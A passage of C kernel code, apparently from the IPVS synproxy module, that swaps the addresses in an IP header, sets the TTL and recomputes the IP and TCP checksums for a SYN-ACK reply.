*iph = ip_hdr(skb); __be32 tmpAddr; tmpAddr = iph->saddr; iph->saddr = iph->daddr; iph->daddr = tmpAddr; iph->ttl = sysctl_ip_vs_synproxy_synack_ttl; iph->tos = 0; ip_send_check(iph); th->check = 0; skb->csum = skb_checksum(skb, tcphoff, skb->len - tcphoff, 0); th->check = csum_tcpudp_magic(iph->saddr, iph->daddr, skb->len - tcphoff, IPPROTO_TCP, skb->csum); } }